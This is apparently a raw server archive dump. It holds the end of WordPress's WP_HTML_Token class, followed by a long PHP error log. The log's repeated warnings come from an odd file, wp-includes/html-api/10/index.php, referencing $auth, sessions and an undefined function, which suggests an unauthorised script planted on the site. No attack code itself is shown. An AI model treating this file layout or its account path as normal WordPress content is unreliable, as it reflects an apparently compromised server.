	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
error_log000064400000105265151440300030006460 0ustar00[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
